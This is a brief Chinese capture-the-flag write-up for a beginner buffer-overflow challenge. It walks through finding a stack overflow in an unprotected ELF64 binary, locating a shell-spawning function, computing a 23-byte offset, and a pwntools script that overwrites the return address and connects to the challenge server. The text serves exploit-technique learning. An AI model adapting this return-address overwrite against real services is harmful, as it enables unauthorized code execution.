0x01 解题思路
-
查看文件信息
没什么防护措施的ELF64文件。
-
拖入IDA x64,F5
显然可以通过栈溢出覆盖RIP。 -
发现命令执行函数
地址为0x401186 -
利用peda计算输入点距离RIP的偏移值
得出偏移量是23。
现在就可以写出覆盖RIP执行fun函数的EXP了。
0x02 EXP
from pwn import *
io=0
def isDebug(debug):
global io
if debug:
io = process('./pwn1')
else:
io = remote('pwn.buuoj.cn', 6001)
def pwn():
offset = 23
payload = 'A'*offset
funAddr = 0x401186
payload += p64(funAddr)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
isDebug(0)
pwn()
获取flag: